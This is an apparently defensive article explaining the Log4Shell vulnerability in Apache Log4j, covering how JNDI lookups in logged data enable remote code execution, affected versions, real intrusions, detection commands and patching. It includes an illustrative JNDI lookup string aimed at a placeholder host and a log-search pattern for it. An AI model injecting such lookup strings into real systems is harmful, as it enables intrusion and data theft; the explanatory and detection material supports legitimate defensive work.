Few vulnerabilities have exposed the fragility of modern software infrastructure as dramatically as CVE-2021-44228. Better known as Log4Shell, this critical flaw in Apache Log4j turned a routine logging operation into a potential remote code execution pathway. An attacker did not necessarily need valid credentials, access to an administrative interface, or an obvious vulnerability in application business logic. Under the right conditions, getting a specially crafted string recorded by a vulnerable Java application was enough to trigger dangerous behavior inside the application itself.
When Log4Shell became public in December 2021, the scale of the problem quickly became apparent. Log4j was not simply another Java dependency used by a handful of websites. It was embedded throughout enterprise applications, cloud services, software development platforms, security products, and commercial software packages. Many organizations discovered that they were running vulnerable copies of the library without realizing it, sometimes buried several layers deep inside packaged applications.
The vulnerability received a CVSS v3.1 score of 10.0, the highest possible rating. The National Vulnerability Database identifies the issue as a remote code execution vulnerability involving Log4j’s Java Naming and Directory Interface, or JNDI, functionality. Attackers who could influence certain logged messages or parameters could cause affected applications to contact attacker-controlled endpoints and, in exploitable configurations, execute malicious code.
More than four years after its disclosure, Log4Shell remains an important case study in software supply chain security. Its continued relevance is not based solely on the severity of the original bug. The vulnerability demonstrated how deeply nested dependencies, unexpected data interpretation, and incomplete software inventories can turn a relatively small implementation flaw into a widespread security emergency.
Understanding CVE-2021-44228 therefore requires looking beyond the original exploit string. The most useful questions are why Log4j interpreted untrusted data in the first place, how an external lookup became a security boundary violation, why early mitigations were insufficient, and what organizations should do when vulnerable components remain hidden inside legacy systems.
What Is CVE-2021-44228?
CVE-2021-44228 is a critical remote code execution vulnerability affecting specific versions of Apache Log4j 2, a widely used Java logging framework maintained by the Apache Software Foundation. The flaw primarily involves the log4j-core component, which provides the logging implementation and includes the vulnerable message-lookup functionality.
The vulnerability was publicly disclosed on December 10, 2021, following its discovery by Chen Zhaojun of the Alibaba Cloud Security Team. The affected feature allowed Log4j to evaluate certain expressions appearing in log messages. When those expressions referenced external JNDI resources, the logging framework could initiate connections to attacker-controlled services.
In ordinary application development, logging is expected to be a relatively passive activity. Developers record application errors, authentication attempts, HTTP requests, database failures, and diagnostic information so that operators can understand what a system is doing.
Log4Shell violated that expectation by allowing some logged content to influence program behavior.
Consider a web application that records unsuccessful login attempts. The application might log the supplied username, source IP address, and request metadata. Normally, a malicious username should be treated as text. The application should record it without attempting to interpret it as an instruction.
In vulnerable Log4j configurations, however, a specially constructed username could be interpreted as a lookup expression. Instead of merely recording the string, Log4j could attempt to resolve it through JNDI.
That operation could lead to interaction with an attacker-controlled server and, depending on the runtime and available exploitation path, execution of attacker-supplied code.
について Apache Log4j security advisory confirms that the vulnerability affected log4j-core and provides the version-specific fixes for supported Java generations. It also distinguishes this issue from other Apache logging projects, including Log4net and Log4cxx, which were not affected by this specific flaw.
CVE-2021-44228 Vulnerability Overview
| 属性 | 詳細 |
|---|---|
| CVE ID | CVE-2021-44228 |
| Common name | Log4Shell |
| Affected software | Apache Log4j 2 |
| Vulnerable component | log4j-core |
| 脆弱性タイプ | リモートコード実行 |
| Primary weakness | Improper handling of attacker-controlled JNDI lookups |
| CVSS v3.1 score | 10.0 Critical |
| Initial public disclosure | December 10, 2021 |
| Common attack vector | Untrusted data processed by a vulnerable logging path |
| Typical impact | Application compromise, code execution, data theft, and potential lateral movement |
| Exploitation status | Public exploits and confirmed real-world exploitation |
| Recommended remediation | Upgrade to a maintained, security-fixed Log4j version |
The significance of Log4Shell becomes clearer when considered in the context of a typical enterprise environment. A vulnerable library does not need to appear in the application developers’ own code for the application to be affected. Log4j might be included by a dependency, bundled into a third-party product, or packaged within an application archive.
Consequently, organizations that had never intentionally selected Log4j as their logging framework still had to investigate whether it was present somewhere in their software stack.
How Does CVE-2021-44228 Work?
The technical mechanism behind CVE-2021-44228 involves three features that are individually legitimate but become dangerous when combined: Log4j message lookups, Java Naming and Directory Interface functionality, and attacker-controlled network resources.
The central problem was that certain vulnerable versions of Log4j did not sufficiently separate untrusted message content from expressions that the logging framework was allowed to evaluate.
Why Message Lookups Became a Security Problem
Log4j supports lookup expressions that can substitute dynamic values into logging output and configuration. For example, a logging configuration might reference a system property, an environment variable, or another application-specific value.
Dynamic lookups can be useful because they allow developers to include information without manually constructing every logging message. Unfortunately, older Log4j 2 releases also supported message lookup substitution that could interpret certain expressions embedded in the text being logged.
This created an unexpected security boundary.
A developer might reasonably assume that logging user input was safe because the application was not executing that input as Java code, SQL, or a shell command. However, the logging framework could independently interpret special syntax contained in the message.
The following Java example demonstrates a normal application logging pattern:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class LoginService {
private static final Logger logger =
LogManager.getLogger(LoginService.class);
public void recordFailedLogin(String username) {
logger.warn(
"Failed login attempt for user: {}",
username
);
}
}
At first glance, this code seems unremarkable. The application receives a username and records it using a parameterized logging statement.
In a properly patched logging framework, that username is data. Its contents should not cause the application to contact an external directory service or load executable code.
In vulnerable versions of Log4j, however, attacker-controlled content processed through an affected lookup path could trigger JNDI resolution. Importantly, parameterized logging alone was not a universal defense against the original flaw because the vulnerable behavior could occur during message formatting.
The issue was not that logging itself was inherently unsafe. The problem was that the logging implementation treated certain portions of untrusted data as instructions to perform additional operations.

What Is JNDI and Why Did Log4Shell Abuse It?
The Java Naming and Directory Interface, commonly abbreviated as JNDI, is a Java API used to locate and access named resources. Applications can use it to interact with directory services, messaging systems, and other resources through a common interface.
JNDI can support multiple naming and directory mechanisms, including LDAP. The Lightweight Directory Access Protocol is frequently associated with directory services that store information about users, groups, systems, and organizational resources.
The presence of JNDI in Java is not itself a vulnerability. The problem arises when an application permits untrusted users to influence which resources JNDI resolves, particularly when those resources are controlled by an attacker.
In Log4Shell, the vulnerable lookup feature provided an avenue for an attacker-controlled string to request an external JNDI resolution.
A simplified representation of the expression involved is:
${jndi:ldap://example.invalid/resource}
This is an illustrative string using the reserved .invalid domain, not a working exploit endpoint.
について ${...} syntax represents a lookup expression. The jndi: prefix requests JNDI-based resolution, and the LDAP URI identifies an external naming resource.
In a vulnerable execution path, Log4j could interpret this expression and initiate a JNDI lookup rather than treating the entire string as ordinary log content.
The security consequences depended on the runtime configuration, the Java version, the available JNDI providers, and whether an attacker could turn the lookup into code execution. Some exploitation techniques relied on remote class loading, while others could exploit locally available classes and application-specific behavior.
This distinction is important. Not every outbound LDAP request automatically leads to remote code execution, and later Java updates introduced restrictions that reduced the effectiveness of some straightforward remote class-loading techniques. Nevertheless, the vulnerable Log4j behavior created a dangerous path from attacker-controlled logging data to operations that should never have been controlled by an untrusted request.
The fundamental flaw was the inappropriate trust placed in data during logging.
From an HTTP Request to Remote Code Execution
To understand the attack surface, imagine a vulnerable Java web application that logs incoming request metadata.
The application might record the ユーザーエージェント header, an HTTP request path, a custom tracking header, or a username submitted during authentication. These are common logging activities and do not necessarily indicate a weakness in the application’s business logic.
An attacker can often influence these values without authenticating.
If the attacker submits data containing a JNDI lookup expression and the vulnerable application processes that data through Log4j’s affected lookup functionality, the logging framework may attempt to resolve the supplied resource.
That lookup may cause the application server to communicate with an external endpoint controlled by the attacker. Depending on the Java runtime and exploitation conditions, the interaction can lead to malicious code execution in the context of the Java process.
The result can be a serious breach of trust. Data supplied by an external user has crossed into a capability normally reserved for the application’s own trusted execution environment.
A simplified attack sequence looks like this:
1. Untrusted Input
HTTP request header, username, API field, or other logged data
2. Vulnerable Log4j Processing
A lookup expression is interpreted rather than stored as literal text
3. JNDI Resolution
The application contacts an external naming resource
4. Potential Code Execution
An exploitable runtime and lookup path can allow attacker-controlled execution
The attacker does not necessarily need to compromise the Java application’s source code, upload a malicious file, or exploit a traditional memory corruption bug. The dangerous operation can be triggered indirectly through application logging.
This is why the vulnerability was so difficult to contain immediately after disclosure. Security teams were not simply searching for one exploitable web endpoint. They had to determine whether untrusted input could reach the vulnerable logging subsystem anywhere in their application environment.
The joint CISA advisory on Log4Shell and related Log4j vulnerabilities provides additional technical context about this behavior and the resulting attack surface.
Why Was Log4Shell So Easy to Reach?
The most alarming characteristic of CVE-2021-44228 was the mismatch between the attacker’s required access and the operations the vulnerability could trigger.
Remote code execution vulnerabilities often involve an explicitly powerful feature, such as a file upload handler, administrative command interface, scripting engine, or deserialization endpoint.
Log4Shell instead exploited a lower-level utility component that developers generally considered infrastructure rather than a security-sensitive execution surface.
Applications routinely log input from sources they do not trust. Authentication failures, malformed requests, suspicious URLs, unexpected API parameters, and user-controlled identifiers often produce log entries specifically because something has gone wrong.
That means an attacker does not always need the application to accept their input as valid. In some circumstances, rejected or malformed input can be especially likely to generate a log entry.
A request blocked by application logic might still be recorded by a vulnerable logging system. An error handler designed to assist developers might expose the affected code path. Even software that is not directly accessible from the internet might process messages originally received through another service.
For example, a message broker could deliver attacker-controlled data to a backend worker. If the backend records that data using an affected Log4j version, the vulnerability might be reachable even though the backend has no public HTTP endpoint.
This indirect exposure makes traditional perimeter-based reasoning insufficient. The real security boundary is between untrusted content and the logging subsystem, not simply between the public internet and the application server.
The Hidden Dependency Problem
Log4j’s extensive adoption also created a major software inventory challenge.
A development team might rely on a framework that internally includes Log4j. A commercial application might bundle an older copy of the library. A Java application distributed as a WAR or EAR archive might contain several nested dependencies that are not immediately visible on the filesystem.
Some applications package their dependencies into a single executable JAR. Others use shading or relocation techniques that combine library classes with application code and potentially rename their packages.
These packaging practices are legitimate, but they complicate vulnerability identification.
A scanner looking only for filenames beginning with log4j-core- can miss embedded or repackaged copies. A dependency manifest may reveal the version selected during a build but not every component actually present in a deployed artifact.
The Apache Software Foundation’s project impact overview illustrates how unevenly exposure was distributed. Some Apache projects were directly affected, while others were not vulnerable to this particular issue despite using Java or other logging frameworks.
That distinction remains relevant today. Finding Java on a server does not prove Log4Shell exposure. Conversely, failing to find a clearly named Log4j library does not establish that the server is safe.
Which Versions of Apache Log4j Are Vulnerable to CVE-2021-44228?
The original Log4Shell vulnerability affected Apache Log4j 2 releases from 2.0-beta9 through 2.14.1, subject to the separate security-maintenance branches for older Java runtimes.
Apache addressed the original CVE in Log4j 2.15.0 for Java 8 and later. However, subsequent security research identified related vulnerabilities and incomplete protection in certain configurations, leading to additional security releases.
This history is important because an article that simply recommends upgrading to Log4j 2.15.0 would provide outdated remediation guidance.
| Log4j version | CVE-2021-44228 status | Practical security interpretation |
|---|---|---|
| 2.0-beta9 – 2.14.1 | 脆弱 | Original Log4Shell issue in affected configurations |
| 2.15.0 | Original CVE addressed | A separate issue, CVE-2021-45046, remained |
| 2.16.0 | Original CVE addressed | Subsequent recursion-related DoS issue remained |
| 2.17.0 | Original CVE addressed | Later related security fixes were released |
| 2.17.1 | Original CVE addressed | Historical remediation release covering the major December 2021 Log4j vulnerability sequence |
| 2.12.4 | Original CVE addressed | Historical security release for Java 7 |
| 2.3.2 | Original CVE addressed | Historical security release for Java 6 |
| Current maintained Log4j 2 release | Not affected by the original CVE | Preferred upgrade destination, subject to Java compatibility |
Version history is based on Apache’s original advisories and release notes. Historical security-fix releases are not necessarily maintained or suitable for a new deployment in 2026.
Apache’s official security page describes the original vulnerability and related CVEs, while its Log4j release notes document later fixes and changes in behavior.
logging.apache.org
+1
A particularly important distinction concerns log4j-api そして log4j-core.
The original Log4Shell flaw affected log4j-core, the component implementing the vulnerable functionality. An application that only includes log4j-api without the affected core implementation is not vulnerable to CVE-2021-44228 through that component alone.
This detail can help reduce false positives during dependency analysis, although developers should still review their full runtime dependency graph and the actual components deployed with the application.
Is Log4j 1.x Affected by Log4Shell?
Log4j 1.x is not affected by CVE-2021-44228 in the same way as vulnerable Log4j 2 releases.
However, this does not make Log4j 1.x a secure alternative.
Log4j 1 reached end of life in 2015 and has separate security problems. CVE-2021-4104, for example, concerns the use of the JMSAppender in vulnerable Log4j 1.x configurations, where JNDI-related behavior can create a remote code execution risk under specific prerequisites.
Organizations should not downgrade from Log4j 2 to Log4j 1 as a Log4Shell mitigation. Moving to an obsolete logging framework may replace one known security problem with a collection of unsupported components and unresolved vulnerabilities.
The correct approach is to use a maintained, patched logging framework and verify that application configuration does not expose unnecessary high-risk features.
Log4Shell vs. Other Log4j Vulnerabilities
CVE-2021-44228 was not the only vulnerability disclosed during the Log4j security crisis. As developers and researchers examined the affected code more closely, additional issues were identified.
Understanding the differences matters because several of these vulnerabilities have distinct prerequisites and security impacts.
| CVE | Primary issue | CVSS v3.1 | Technical distinction |
|---|---|---|---|
| CVE-2021-44228 | JNDI-based remote code execution | 10.0 | Untrusted logged data can trigger dangerous external JNDI lookups |
| CVE-2021-45046 | Lookup-related code execution and information disclosure | 9.0 | Incomplete protection in certain non-default logging configurations |
| CVE-2021-45105 | Denial of service | 5.9 | Uncontrolled recursion in lookup evaluation |
| CVE-2021-44832 | JNDI abuse through JDBC Appender configuration | 6.6 | Requires attacker influence over logging configuration |
| CVE-2021-4104 | Log4j 1.x JMSAppender-related issue | 7.5 | Different legacy component and exploitation prerequisites |
CVSS values and vulnerability distinctions reflect their respective advisory records. CVE-2021-4104 is a separate Log4j 1.x issue, not another identifier for Log4Shell.
The Apache security advisories for CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832 explain why the original emergency update was followed by additional releases.

Why the First Log4Shell Fix Was Not the End
The initial Log4j 2.15.0 release addressed CVE-2021-44228 by restricting dangerous JNDI behavior and disabling message lookups by default. That was a substantial security improvement, but it did not eliminate every dangerous interaction involving the logging framework.
Researchers subsequently demonstrated that certain non-default logging configurations remained susceptible to related attacks. This became CVE-2021-45046.
Further investigation revealed that uncontrolled recursive lookups could cause a denial of service, tracked as CVE-2021-45105.
Another issue, CVE-2021-44832, concerned the ability of an attacker who could modify logging configuration to exploit certain JDBC Appender configurations. Its prerequisites differed significantly from those of the original Log4Shell vulnerability.
The remediation history shows why security teams must distinguish between fixing one specific CVE and bringing an entire software dependency onto a maintained, secure release.
An upgrade to 2.15.0 could close the original Log4Shell pathway while leaving another vulnerability unresolved. A modern remediation program therefore needs to consider both the originally reported issue and subsequent discoveries affecting the same component.
Real-World Log4Shell Exploitation: What Attackers Actually Did
The severity of Log4Shell was not limited to theoretical exploitation. Security researchers and government agencies documented real attacks shortly after the vulnerability became public, including cryptocurrency mining, credential theft, persistence mechanisms, and lateral movement inside compromised networks.
One of the clearest documented examples involved attacks against VMware Horizon servers.
In November 2022, CISA and the FBI published a joint advisory describing an intrusion attributed to likely Iranian government-sponsored advanced persistent threat actors. Investigators determined that attackers had exploited Log4Shell in an unpatched VMware Horizon server at a U.S. federal civilian executive branch organization.
The compromise began as early as February 2022, several months after the original public disclosure and the release of security updates.
After obtaining access, the attackers installed XMRig cryptocurrency-mining software. They also used compromised credentials and remote administration capabilities to move laterally through the environment. Investigators identified compromised domain-controller infrastructure and Ngrok reverse proxies used to help maintain access.
This incident is particularly instructive because it demonstrates that Log4Shell was not merely a mechanism for running a single unauthorized command. Once attackers obtained execution in a privileged application context, they could pursue broader objectives using conventional post-compromise techniques.
The attackers used the initial exploitation opportunity as an entry point into a larger intrusion campaign.
CISA’s investigation, Iranian Government-Sponsored APT Actors Compromise Federal Network, Deploy Crypto Miner, Credential Harvester, documents the observed activities, associated indicators, and incident-response findings.
Why VMware Horizon Became an Important Target
VMware Horizon infrastructure provides virtual desktop and application delivery services. Such platforms often occupy sensitive positions in corporate networks because they connect users with centrally managed desktop resources.
An attacker who compromises a vulnerable service in this environment may gain access to credentials, internal network connectivity, or systems involved in managing virtual desktop infrastructure.
That makes exploitation especially consequential.
CISA issued a separate warning in June 2022 reporting continued exploitation of Log4Shell in VMware Horizon and Unified Access Gateway environments. The advisory emphasized that organizations which had not promptly applied vendor updates or mitigations should investigate for potential compromise rather than assume that installing a patch would resolve any existing intrusion.
について CISA VMware Horizon Log4Shell warning underscores the difference between vulnerability remediation and incident response.
Patching prevents the original exploitation path from remaining open. It does not automatically remove persistence mechanisms, invalidate stolen credentials, or restore systems that an attacker has already modified.
This is one of the most important lessons from real Log4Shell exploitation. Organizations that were exposed during the initial attack window need to consider whether compromise occurred before remediation.
How to Detect CVE-2021-44228 in Java Applications
Detecting Log4Shell requires more than checking whether a server has Java installed. The objective is to identify vulnerable Log4j implementations, determine where they are loaded, and establish whether the affected functionality is reachable by attacker-controlled input.
The first step is dependency discovery.
For a Java application built with Maven, the following command can help identify whether log4j-core appears in the project’s dependency tree:
mvn dependency:tree \
-Dincludes=org.apache.logging.log4j:log4j-core
For a Gradle application, a similar inspection can be performed using:
./gradlew dependencies \
--configuration runtimeClasspath
These commands are useful during development because they reveal dependencies selected by the build system. However, they do not necessarily identify every library bundled into a commercial software product or deployed independently of the source repository.
An enterprise vulnerability assessment must also inspect deployed artifacts.
Finding Log4j JAR Files on Linux
On a Linux system, administrators can begin with a filesystem search for obvious Log4j archives:
find /opt /srv /usr/local \
-type f \
-name 'log4j-core-*.jar' \
2>/dev/null
The search may identify libraries installed alongside enterprise applications, manually deployed services, or unpacked Java application directories.
Administrators can also inspect a specific JAR for a class historically associated with the affected lookup functionality:
jar tf application.jar | grep 'JndiLookup.class'
The presence of JndiLookup.class can be useful during investigation, but it does not prove that a particular archive is vulnerable. Updated implementations and security-modified builds require version-aware interpretation.
Likewise, the absence of a plainly named class in a top-level archive does not prove safety. The application may contain nested JAR files or repackaged library classes.
The Dutch National Cyber Security Centre’s Log4Shell scanning guidance explains why recursive archive inspection is necessary for reliable discovery.
Detecting Hidden and Shaded Log4j Dependencies
One of the most difficult parts of Log4Shell remediation was identifying vulnerable dependencies that were not immediately recognizable.
A Java application may contain multiple packaging layers. A WAR file can include dependency JARs, an EAR file can include WAR files, and executable JARs may include additional archives.
Some build systems also relocate or shade library classes. This process can preserve vulnerable code while making the original dependency name less obvious.
A scanner that only checks filenames can therefore miss the affected implementation.
More specialized tools analyze archive contents recursively, compare class signatures, and identify known vulnerable versions even when their packaging differs from conventional Maven artifacts.
One example is Palantir’s Log4j Sniffer, an open-source utility designed to search archives and detect vulnerable Log4j implementations, including some shaded or repackaged variants.
No single scanner should be considered infallible. Effective dependency discovery benefits from comparing source-level dependency manifests, deployed application artifacts, software bills of materials, and vendor security advisories.
For third-party software, application owners may also need to request confirmation from the vendor because the vulnerable implementation might not be visible through ordinary filesystem access.
Detecting Log4Shell Exploitation Attempts in Application Logs
Once vulnerable components have been identified, security teams should investigate whether those components were exposed to suspicious input.
The original Log4Shell exploit pattern commonly involved strings containing the JNDI lookup prefix. Searching historical logs for such expressions can provide an initial indication of attempted exploitation.
For example, administrators may use:
grep -RInF '${jndi:' /var/log/ 2>/dev/null
This command searches log files for the literal expression ${jndi:.
It is a preliminary investigation technique, not a comprehensive Log4Shell detector.
Attackers rapidly developed variations intended to bypass simple string matching. These included mixed capitalization, nested lookup expressions, character substitutions, and other forms of obfuscation.
Consequently, a log file that does not contain the exact literal string may still include exploitation attempts.
Another complication is that the malicious input may be transformed before logging. Reverse proxies, application frameworks, or middleware can normalize or encode request data, changing the appearance of the original payload.
Security teams should therefore consider the entire request-processing and logging pipeline rather than relying on a single text-search pattern.
Network Indicators of Log4Shell Exploitation
Because the vulnerability can trigger JNDI resolution, network telemetry provides another important source of evidence.
An unexpected outbound LDAP connection from an internet-facing Java application may warrant investigation, particularly when it occurs immediately after a suspicious HTTP request.
DNS activity can also be relevant. During the original exploitation period, attackers used lookup expressions that caused vulnerable systems to resolve attacker-controlled domain names. Such requests could help attackers confirm that a target had evaluated their input.
However, the presence of DNS or LDAP traffic alone does not establish successful remote code execution.
An outbound lookup may indicate that vulnerable behavior was triggered without proving that malicious code was loaded or executed. Conversely, an attacker may exploit the issue through a pathway that does not produce the expected simple network indicators.
The strongest detection approaches correlate application logs, network activity, process execution, and endpoint telemetry.
For example, an unexpected external LDAP connection followed by a Java process launching a shell or another unusual child process would be more concerning than an isolated lookup event.
A defender investigating possible compromise should also examine persistence mechanisms, newly created accounts, modified scheduled tasks, suspicious network tunnels, and anomalous access to credentials or sensitive files.
について CISA and FBI incident-response advisory provides a concrete example of how network indicators were combined with host-level evidence to reconstruct a Log4Shell intrusion.
Why Vulnerability Scanning Alone Is Not Enough
A vulnerability scanner generally attempts to answer whether a known weakness may be present. An incident-response investigation attempts to determine whether that weakness was exploited and what happened afterward.
These are different questions.
A scanner may identify a vulnerable Log4j dependency without proving that untrusted input can reach the affected code path. This can happen when a library is packaged with an application but not loaded, or when the application uses a configuration that limits exposure.
The opposite problem is also possible. A vulnerable component may be present in a nested archive, an appliance firmware image, or an opaque third-party package that the scanner does not inspect correctly.
Remote scanning introduces additional limitations. A remote test can help validate that a particular endpoint triggers an observable lookup, but a negative result does not prove that every logging path is protected.
The input may not reach the relevant code path during testing. A firewall may block a callback. A vulnerable application may log data asynchronously. The logging behavior may depend on an error condition that the scanner does not reproduce.
The best approach is to combine software composition analysis, filesystem and artifact inspection, runtime observation, and carefully controlled testing.
For organizations developing or operating automated security-testing platforms, Log4Shell also illustrates why a scanner should distinguish among a vulnerable component, a reachable vulnerability, an observable exploit primitive, and confirmed compromise. These findings carry different levels of evidence and should not be reported as equivalent.
How to Fix CVE-2021-44228
The preferred remediation is to replace vulnerable Log4j components with a supported, security-fixed release.
When Log4Shell was first disclosed, Log4j 2.15.0 was the immediate update for the original vulnerability. However, subsequent discoveries led to additional security releases, including 2.16.0, 2.17.0, and 2.17.1.
Those versions are important historically, but organizations maintaining applications in 2026 should not automatically target a 2021 release.
Instead, they should select a currently maintained Log4j release compatible with the application’s Java runtime and deployment requirements.
Apache’s official Log4j release notes document the newer 2.25.x and 2.26.x release lines available in 2026. Version selection should follow Apache’s current maintenance guidance and the application’s compatibility requirements.
Updating Log4j in Maven Projects
Applications that declare Log4j dependencies directly should update the version in their dependency-management configuration.
A Maven project can use a version property to keep related Log4j components aligned:
<properties>
<log4j2.version>APPROVED_PATCHED_VERSION</log4j2.version>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>${log4j2.version}</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j2.version}</version>
</dependency>
</dependencies>
The placeholder should be replaced with a verified, supported Log4j version. It is intentionally not a copy-and-paste-ready version number because the correct release depends on the project’s Java baseline and dependency constraints.
After updating dependencies, developers should rebuild the application, run regression tests, and verify that the final deployment artifact contains the intended library version.
This final verification is essential. An updated Maven configuration does not guarantee that an application server, container image, or production release artifact has actually replaced every vulnerable dependency.
What About Older Java Versions?
Legacy Java applications create an additional challenge because modern Log4j releases may require Java versions that an older application cannot support.
Apache historically provided security branches for older Java runtimes, including Log4j 2.12.4 for Java 7 and Log4j 2.3.2 for Java 6.
These versions incorporated security fixes relevant to the original Log4j vulnerability sequence, but their historical role should not be confused with ongoing maintenance support.
Java 6 and Java 7 are obsolete platforms for most contemporary enterprise deployments. Continuing to operate them can expose organizations to vulnerabilities beyond Log4Shell.
For applications that cannot be modernized immediately, administrators should evaluate vendor-supported backports, compensating controls, stronger network isolation, and an explicit migration plan.
Temporary Log4Shell Mitigations and Their Limitations
During the original disclosure period, many organizations could not replace vulnerable dependencies immediately. Some relied on temporary mitigations to reduce exposure while vendors prepared updated software.
One widely discussed workaround involved the system property:
-Dlog4j2.formatMsgNoLookups=true
The historical property used by older affected releases was actually:
-Dlog4j.formatMsgNoLookups=true
The distinction matters because the latter is the legacy option associated with disabling message lookups in certain affected Log4j versions. Neither setting should be treated as a modern substitute for installing a patched logging library.
The legacy mitigation had version and configuration limitations and did not address every related Log4j security issue. Setting a property without confirming its behavior in the deployed version could therefore create a false sense of security.
Another emergency workaround involved removing JndiLookup.class from affected log4j-core JAR files.
Although this could reduce exposure to the original lookup pathway, modifying packaged libraries introduces operational risks. It can invalidate artifact signatures, affect application behavior, and complicate future patch management. It also does not provide the broader security assurance of replacing the vulnerable component with a maintained version.
Network restrictions can provide additional protection. Blocking unnecessary outbound LDAP, RMI, and other external naming-service communications from application workloads can reduce the attacker’s ability to interact with external resources.
However, outbound network restrictions are defense-in-depth controls, not complete remediation. Their effectiveness depends on the specific exploitation technique and the application’s runtime environment.
A web application firewall can also help reject known malicious request patterns. But Log4Shell demonstrated how attackers can obfuscate payloads and how unexpected input sources can bypass a perimeter-only defense.
The practical conclusion is straightforward: temporary mitigations can reduce risk, but patched dependencies remain the preferred solution.
How to Secure Docker and Kubernetes Environments Against Log4Shell
Containerized applications are not automatically protected from Log4Shell.
Unlike a kernel privilege escalation vulnerability, CVE-2021-44228 primarily affects vulnerable Java components executing within an application process. Container isolation may limit the consequences of compromise, but it does not prevent the vulnerable logging functionality from interpreting malicious input.
A container image can contain an affected log4j-core JAR even when the host operating system itself does not use Log4j.
Remediation therefore requires inspecting application images and their dependencies, rather than focusing exclusively on host package updates.
A corrected application image should be rebuilt with patched dependencies and redeployed. Existing workloads must be restarted or replaced so they no longer execute the vulnerable components.
This can become complicated in large Kubernetes environments where several services share a common base image, and different teams maintain separate application releases.
An organization may update its primary application but overlook background workers, development services, scheduled jobs, or internal tools built from older images.
Container image scanning can assist with discovery, but the same limitations apply to nested archives and shaded Java dependencies.
Kubernetes operators should also restrict unnecessary outbound network access, minimize container privileges, avoid mounting sensitive credentials unnecessarily, and use workload identities with narrowly scoped permissions.
These controls cannot replace patching, but they can reduce the damage if an attacker compromises a vulnerable application.
A compromised Java process running as a restricted user in a container is still a serious incident. However, carefully configured isolation and restricted access to sensitive resources can make it harder for the attacker to reach additional systems.
What Should Organizations Do If Log4Shell Was Already Exploited?
Finding and fixing a vulnerable dependency is necessary, but remediation should not end there when evidence suggests the application was exposed to exploitation.
An attacker who successfully exploited CVE-2021-44228 may have installed malware, stolen credentials, created persistence mechanisms, or moved into other systems.
Replacing the vulnerable library does not automatically reverse those actions.
Incident responders should preserve relevant evidence and investigate the affected host, application logs, network connections, authentication events, and process activity.
The investigation should determine whether suspicious JNDI requests occurred, whether external connections were established, whether unexpected code or processes executed, and whether the attacker gained access to credentials or other sensitive resources.
Special attention should be given to services with elevated privileges and systems that could reach internal administrative interfaces.
Where compromise is confirmed, organizations may need to isolate affected systems, rotate exposed credentials, remove persistence mechanisms, and rebuild compromised hosts from trusted images.
CISA’s Log4Shell mitigation and incident-response guidance provides a useful framework for assessing vulnerable assets and investigating potential exploitation.
The key distinction is between closing the original vulnerability and restoring trust in a system that an attacker may already have controlled.
What Log4Shell Teaches Us About Software Supply Chain Security
The long-term significance of CVE-2021-44228 extends beyond Apache Log4j itself.
The incident exposed the difficulty of understanding the complete dependency structure of modern applications.
Organizations frequently know which application servers and databases they operate, but may have less visibility into the libraries embedded inside those applications. This becomes especially difficult when software is provided by third-party vendors.
Log4Shell made that lack of visibility operationally expensive.
Security teams had to determine which products used the affected library, which versions were present, which packages contained vulnerable code, and whether an appropriate fix had been released. Those questions could not always be answered from a conventional inventory of servers and operating systems.
Software bills of materials, or SBOMs, can help address this problem by documenting software components and dependency relationships. However, an SBOM is most useful when it accurately reflects deployed artifacts, not simply the dependencies expected during development.
Software composition analysis, artifact scanning, runtime inventory, and vendor coordination remain important complementary practices.
Log4Shell also demonstrated the danger of security assumptions that are not explicitly enforced.
A logging library should not interpret ordinary untrusted message content as a request to contact an external naming service. The vulnerability emerged because functionality intended to improve developer convenience could cross a trust boundary in an unexpected way.
This principle is relevant to many other software components.
Template engines, configuration parsers, document processors, deserialization libraries, and plugin systems can all create similar problems when data from an untrusted source is evaluated as an instruction.
The specific vulnerability may differ, but the underlying question remains the same: can attacker-controlled content influence a privileged operation that the application did not intend to expose?
For engineering teams, answering that question requires examining data flow and implicit behavior inside dependencies, not merely validating the application’s own input handlers.
Frequently Asked Questions About CVE-2021-44228
Is CVE-2021-44228 still exploitable in 2026?
Yes, systems that continue to run affected Log4j versions and expose a reachable vulnerable code path can still be exploitable. The original disclosure date does not cause the vulnerability to expire. Organizations should continue identifying vulnerable dependencies in legacy applications and third-party software.
However, the presence of an old Log4j library alone does not guarantee that a particular application is remotely exploitable. Actual exposure depends on runtime behavior, configuration, input reachability, and available exploitation conditions.
What is the difference between Log4Shell and Log4j?
Log4j is an Apache Java logging framework. Log4Shell is the commonly used name for CVE-2021-44228, a specific remote code execution vulnerability affecting certain Log4j 2 releases.
The terms are frequently used together, but they are not interchangeable. Modern, properly maintained Log4j releases are not inherently vulnerable to the original Log4Shell issue.
Does CVE-2021-44228 require authentication?
Not necessarily. Many vulnerable applications could process attacker-controlled data through logging paths without requiring authentication.
However, the actual prerequisites depend on how the affected application receives and logs input. Some vulnerable environments may require access to an authenticated feature or another application-specific condition.
Is Log4j 2.17.1 safe from Log4Shell?
Log4j 2.17.1 addresses CVE-2021-44228 and the major related Log4j vulnerabilities disclosed during December 2021.
Nevertheless, it is an older release and should not automatically be selected as the best version for a new deployment in 2026. Organizations should use a current, maintained version compatible with their Java runtime.
Can Log4Shell affect cloud applications?
Yes. Cloud-hosted Java applications can be affected when they include a vulnerable Log4j implementation and expose the relevant code path.
Cloud hosting does not inherently remove application-level software vulnerabilities. Responsibility for patching depends on the service model and the division of responsibilities between the cloud provider, software vendor, and application operator.
Can a web application firewall completely prevent Log4Shell?
No. A web application firewall can reduce exposure to known attack patterns, but it is not equivalent to replacing vulnerable code.
Attackers may use obfuscated payloads, alternative input channels, or application paths that do not pass through the same inspection layer. The preferred remediation remains a patched Log4j dependency.
Can CVE-2021-44228 be used to steal credentials?
Yes. Successful exploitation can give an attacker access to resources available to the compromised application process.
Depending on the privileges and environment of that process, attackers may be able to access application secrets, service credentials, configuration files, or authentication material. Real incidents have documented credential harvesting and lateral movement following Log4Shell exploitation.
Is there a public proof of concept for CVE-2021-44228?
Yes. Numerous public research demonstrations and detection tools were published following the original disclosure.
Because exploitation can have significant consequences, organizations should validate exposure in authorized test environments and avoid running untrusted exploit code against production infrastructure. Dependency analysis, controlled testing, and vendor remediation guidance provide safer ways to assess affected systems.
Conclusion: Why CVE-2021-44228 Still Matters
